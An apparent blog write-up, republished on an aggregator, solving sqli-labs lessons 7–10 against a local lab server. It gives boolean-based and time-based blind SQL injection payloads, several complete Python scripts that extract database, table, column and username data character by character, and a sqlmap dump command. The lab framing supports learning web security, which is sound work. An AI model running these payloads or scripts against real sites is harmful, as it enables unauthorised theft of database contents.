sqli-labs(2)

news2024/11/28 11:50:42

7.

输入?id=1' --+显示格式错误

?id=1" --+正常 测试 ?id=1“ and sleep(5) --+ 发现并没有成功

?id=1') --+显示格式错误继续尝试

?id=1')) --+ 显示正常 测试 ?id=1“ and sleep(5) --+ 发现sleep执行

对于语句闭合的尝试主要从 ' " ()来测试

报错语句尝试发现不回显报错信息只会出现语法错误的信息

发现存在布尔注入

布尔注入即可以根据返回页面判断条件真假的注入

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

?id=1')) and (length(database())>7) --+ 页面正常
?id=1')) and (length(database())>8) --+ 页面报错

通过length知道了数据库长度为8

?id=1')) and (substr(database(),1,1)='s') --+

这里写一个布尔盲注脚本

使用这个脚本判读长度

import requests

def getLength():
    for length in range(1, 65):
        payload = f"1')) AND (LENGTH(database())>{length}) -- -"
        url = f'http://192.168.1.200:86/Less-7/?id={payload}'
        rsp = requests.get(url)
        if 'You have an' in rsp.text:
            print('长度:', length)
            break

getLength()

def databasename():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1')) AND (ASCII(SUBSTR(database(), {len(database_name) + 1}, 1))={ord(char)}) --+ "
            url = f'http://192.168.1.200:86/Less-7/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                database_name += char
                print('数据库名:', database_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return database_name

database_name = databasename()
print("最终数据库名:", database_name)

?id=1')) and (substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)='e') --+

通过这个语句我们可以查询表名

脚本

def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1')) AND (substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),{len(table_name) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-7/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                table_name += char
                print('数据库名:', table_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return table_name

table_name = tablename()

print("最终数据库名:", table_name)

查字段

?id=1')) and (substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 1,1),1,1) = 'u' ) --+

def Data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1')) AND (substr((select username from security.users limit 0,1),{len(data) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-7/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                data += char
                print('数据:', data)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return data

data = Data()

print("最终数据:", data)

总脚本

import requests

def getLength1():
    for length in range(1, 65):
        payload = f"1')) AND (LENGTH(database())>{length}) -- -"
        url = f'http://192.168.1.200:86/Less-7/?id={payload}'
        rsp = requests.get(url)
        if 'You have an' in rsp.text:
            print('长度:', length)
            break
getLength1()

def databasename():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1')) AND (ASCII(SUBSTR(database(), {len(database_name) + 1}, 1))={ord(char)}) --+ "
            url = f'http://192.168.1.200:86/Less-7/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                database_name += char
                print('数据库名:', database_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return database_name

database_name = databasename()

print("最终数据库名:", database_name)
def getTableLength():
    for length in range(1, 65):
        payload = f"1')) AND (LENGTH(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1), 1)) > {length}) --+"
        url = f'http://192.168.1.200:86/Less-7/?id={payload}'
        rsp = requests.get(url)
        if 'You have an' in rsp.text:
            print('表名长度:', length)
            break

getTableLength()

def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1')) AND (substr((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),{len(table_name) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-7/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                table_name += char
                print('表名:', table_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return table_name

table_name = tablename()

print("最终表名:", table_name)

def columnname():
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1')) AND (substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 1,1),{len(column_name) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-7/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                column_name += char
                print('列名:', column_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return column_name

column_name = columnname()

print("最终列名:", column_name)

def Data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1')) AND (substr((select username from security.users limit 0,1),{len(data) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-7/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                data += char
                print('数据:', data)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return data

data = Data()

print("最终数据:", data)

sqlamp

└─# sqlmap -u "http://192.168.1.200:86/Less-7/?id=1" --batch -D security -t users --dump

8.

?id=1' --+正常

sleep正常执行,与上面而言输入错误不会出现提示,还是布尔型注入

def databasename():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1' AND (SUBSTR(database(), {len(database_name) + 1}, 1)='{char}') --+ "
            url = f'http://192.168.1.200:86/Less-8/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                database_name += char
                print('数据库名:', database_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return database_name

database_name = databasename()

脚本就改个url地址和闭合方式

import requests

def getLength1():
    for length in range(1, 65):
        payload = f"1' AND (LENGTH(database())>{length}) -- -"
        url = f'http://192.168.1.200:86/Less-8/?id={payload}'
        rsp = requests.get(url)
        if 'You have an' in rsp.text:
            print('长度:', length)
            break
getLength1()

def databasename():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1' AND (SUBSTR(database(), {len(database_name) + 1}, 1)='{char}') --+ "
            url = f'http://192.168.1.200:86/Less-8/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                database_name += char
                print('数据库名:', database_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return database_name

database_name = databasename()

print("最终数据库名:", database_name)
def getTableLength():
    for length in range(1, 65):
        payload = f"1' AND (LENGTH(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1), 1)) > {length}) --+"
        url = f'http://192.168.1.200:86/Less-8/?id={payload}'
        rsp = requests.get(url)
        if 'You have an' in rsp.text:
            print('表名长度:', length)
            break

getTableLength()

def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1' AND (substr((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),{len(table_name) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-8/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                table_name += char
                print('数据表名:', table_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return table_name

table_name = tablename()

print("最终表名:", table_name)

def columnname():
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1' AND (substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 1,1),{len(column_name) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-8/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                column_name += char
                print('数据列名:', column_name)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return column_name

column_name = columnname()

print("最终列名:", column_name)

def Data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    
    while True:
        for char in charset:
            payload = f"1' AND (substr((select username from security.users limit 0,1),{len(data) + 1},1) = '{char}') --+ "
            url = f'http://192.168.1.200:86/Less-8/?id={payload}'
            rsp = requests.get(url)
            if 'You are in' in rsp.text:
                data += char
                print('数据:', data)
                break
        else:
            break  # 如果没有找到匹配的字符,退出循环
    return data

data = Data()

print("最终数据:", data)

9.

可以看到不管输入了什么内容返回的都是一句话,布尔注入就用不了了,尝试sleep注入

发现sleep可以执行

通过三元运算符即substr(database(),1,1)='s'如果为true执行sleep 反之返回0

通过对值为a和s页面不同的响应速度我们得到第一个为s

import requests,time
def database():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr(database(),{len(database_name) + 1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                database_name += char
                print(f"数据库名称为:{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为:",datas)

同理测试名表的语句

?id=1' and if(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)='a',sleep(5),0) --+

?id=1' and if(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)='e',sleep(5),0) --+

def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),{len(table_name) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                table_name += char
                print(f"表名称为:{table_name}")
                break
        else:
            break
    return table_name
tbales = tablename()
print("最终表名称为:",tbales)

爆破列的语句

?id=1' and if(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),1,1)='a',sleep(5),0)--+

?id=1' and if(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),1,1)='i',sleep(5),0)--+

def columnname():
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),{len(column_name ) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                column_name += char
                print(f"列名称为:{column_name}")
                break
        else:
            break
    return column_name
columns = columnname()
print("最终列名称为:",columns)

爆破数据

?id=1' and if(substr((select username from security.users limit 0,1),1,1)='a',sleep(5),0) --+

?id=1' and if(substr((select username from security.users limit 0,1),1,1)='d',sleep(5),0) --+

def data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select username from security.users limit 0,1),{len(data) +1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"
            
            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                data += char
                print(f"数据为:{data}")
                break
        else:
            break
    return data
datas = data()
print("最终数据为:",datas)

总脚本

import requests,time

def database():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr(database(),{len(database_name) + 1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                database_name += char
                print(f"数据库名称为:{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为:",datas)

def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),{len(table_name) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                table_name += char
                print(f"表名称为:{table_name}")
                break
        else: 
            break
    return table_name
tbales = tablename()
print("最终表名称为:",tbales)

def columnname():
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),{len(column_name ) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                column_name += char
                print(f"列名称为:{column_name}")
                break
        else:
            break
    return column_name
columns = columnname()
print("最终列名称为:",columns)


def data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select username from security.users limit 0,1),{len(data) +1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-9/?id={payload}"
            
            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                data += char
                print(f"数据为:{data}")
                break
        else:
            break
    return data
datas = data()
print("最终数据为:",datas)

10.

闭合方式不同

/?id=1"and sleep(5) --+

def data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f'1" and if(substr((select username from security.users limit 0,1),{len(data) +1},1)="{char}",sleep(2),0) --+'
            url = f"http://192.168.1.200:86/Less-10/?id={payload}"
            
            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            

            if rsp_time >= 2:
                data += char
                print(f"数据为:{data}")
                break
        else:
            break
    return data
datas = data()
print("最终数据为:",datas)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1216219.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何利用自动发现将现网的进程纳入到监控系统中?

进程监控是一项关键任务,旨在监测系统中运行的进程的性能和状态。通过有效的进程监控,可以实时了解进程的运行情况,及时发现问题并采取措施,确保系统的稳定性和性能。 本期EasyOps产品使用最佳实践,我们将为您揭晓&am…

数据结构与算法之美学习笔记:19 | 散列表(中):如何打造一个工业级水平的散列表?

目录 前言如何设计散列函数?装载因子过大了怎么办?如何避免低效的扩容?如何选择冲突解决方法?工业级散列表举例分析解答开篇内容小结 前言 本节课程思维导图: 今天,我们就来学习一下,如何设计一…

FPGA模块——IIC协议(FPGA做主机操作24C64)

FPGA模块——IIC协议(FPGA做主机操作24C64) EEPROM(24C64)向器件写数据时序向器件读数据时序 IIC协议FPGA主机代码IIC驱动 EEPROM(24C64) 掉电不丢失,采用固定的读写协议。数据的稳定性和可重复…

2023.11.16 hivesql高阶函数之开窗函数

目录 1.开窗函数的定义 2.数据准备 3.开窗函数之排序 需求:用三种排序方法查询学生的语文成绩排名,并降序显示 4.开窗函数分组 需求:按照科目来分类,使用三种排序方式来排序学生的成绩 5.聚合函数与分组配合使用 6.聚合函数同时和分组以及排序关键字配合使用 --需求1&…

JavaWeb Day10 案例-部门管理

目录 一、查询部门 (一)需求 (二)思路 (三)查询部门 (四)、前后端联调 二、删除 (一)需求 (二)思路 (三&#xf…

如何深度了解汤泉场所?VR全景给你答案

天气逐步转凉,温泉、水会这些室内汤泉场所开始登上消费的主战场。伴随着人们物质生活水平的提高,人们对休闲养生会馆的要求也愈发旺盛,汤泉场所也逐渐从单一的洗浴开始向休闲、娱乐、保健、桑拿等多种业态形式发展,那么大家如何深…

安全狗云安全体系为高校提升立体化纵深防御能力

客户情况 某高校有服务器500台,对外站点200个,核心交换流量20G。 客户痛点 校园网系统分类较多,并且每类网站中安全级重要程度又各不相同,同时有多个网络出口(如:教育网、电信网、移动网等),二级学院存在…

【java学习—十五】Thread类的有关方法(3)

文章目录 1. 基本方法2. 线程的优先级3. 进阶方法3.1. 举例3.1.1. 线程让步3.1.2. join() 方法3.1.3. sleep()方法3.1.4. stop() 方法3.1.4. isAlive() 方法 1. 基本方法 方法名作用void start()启动线程,并执行对象的 run() 方法run()线程在被调度时执行的操作Str…

电脑提示d3dcompiler43.dll缺失怎么解决?四种方法帮你轻松搞定!

d3dcompiler_43.dll是一个与DirectX相关的动态链接库(DLL)文件,它主要用于Windows操作系统上的图形和游戏应用程序。这个文件的主要作用是编译和解析DirectX应用程序中的图形代码。 DirectX是一个强大的图形API(应用程序编程接口&…

flutter项目中使用阿里图标库自定义图标步骤,5分钟搞定

因为flutter自带的图标可能并不能满足业务需求,所以需要加入图标非常丰富的阿里图标库的支持,阿里图标库的地址:iconfont-阿里巴巴矢量图标库,先看一下使用阿里图标库后的效果图:网页端和手机端都是可以正常运行的&…

Centos7安装frps作内网穿透--实现外部访问家里群晖

实现在外可访问家用群晖 需要在外界访问家里的局域网设备,正常情况是需要有公网IP,而IPV4作为家用,运营商基本不给,除非钞能力,IPV6可以用,但是有缺陷,需要互访的两端都是IPV6才能访问。选择fr…

关于400G光模块的常见问题解答

最近在后台收到了很多用户咨询关于400G光模块的信息,那400G光模块作为当下主流的光模块类型,有哪些问题是备受关注的呢?下面来看看小易的详细解答! 1、什么是400G QSFP-DD光模块? 答:400G光模块是指传输速…

Ubuntu16.04上安装Docker

Ubuntu16.04上安装Docker 更新 apt 包索引: sudo apt-get update安装依赖包,以便使用 HTTPS 仓库 sudo apt-get install apt-transport-https ca-certificates curl software-properties-common添加 Docker GPG 密钥 curl -fsSL https://download.docker.com/linux/ubuntu…

rabbitMQ的direct模式的生产者与消费者使用案例

消费者C1的RoutingKey 规则按照info warn 两种RoutingKey匹配 绑定队列console package com.esint.rabbitmq.work03;import com.esint.rabbitmq.RabbitMQUtils; import com.rabbitmq.client.Channel; import com.rabbitmq.client.DeliverCallback;/*** 消费者01的消息接受*/ p…

windows server 华夏ERP部署手册

软件包准备: .安装MySql 找到mysql程序双击进行安装,进入这个页面 选择Server only点击Next 进入到下图,点击execute,等待完成,点击下一步 点击install安装插件 安装完插件点击下一步 等待程序加载完成,点击下一步 继续下一步 进行下一步 进行…

智慧校园电子班牌 智能互联家校互通源码 springboot

利用先进的云计算技术,将教育信息化资源和教学管理系统进行有效整合,实现生态基础数据共享、应用生态统一管理,为智慧教育建设的统一性,稳定性,可扩展性,互通性提供保障的智慧教育一体化云解决方案。 在大数…

VIM去掉utf-8 bom头

Windows系统的txt文件在使用utf-8编码保存时会默认在文件开头插入三个不可见的字符(0xEF 0xBB 0xBF)称为BOM头 BOM头文件 0.加上BOM标记: :set bomb 1.查询当前UTF-8编码的文件是否有BOM标记: :set bomb? :set bomb? 2.BOM头:文…

麒麟信安助力长沙市就业与社保数据服务中心政务系统向自主创新演进

应用场景 长沙市就业与社保数据服务中心依托长沙市“政务云”的公共基础资源和相应的支撑能力,围绕社保、就业、人事人才、劳动关系等人社全量业务服务,力求建立以“智慧服务、智慧监管、智慧决策”为核心的“智慧人社”综合服务平台,实现人…

Java面向对象2

代码块 代码块的构造顺序优先于构造器 细节

shopee知虾数据:提升Shopee店铺运营效果必备工具—知虾数据工具

在如今竞争激烈的电商市场中,如何提升Shopee店铺的运营效果成为了每个卖家都关注的问题。而Shopee知虾数据工具作为一款专为Shopee虾皮平台设计的数据分析工具,为卖家提供了多项强大的功能,能够帮助卖家在开店、选款、测款、爆款以及初始和成…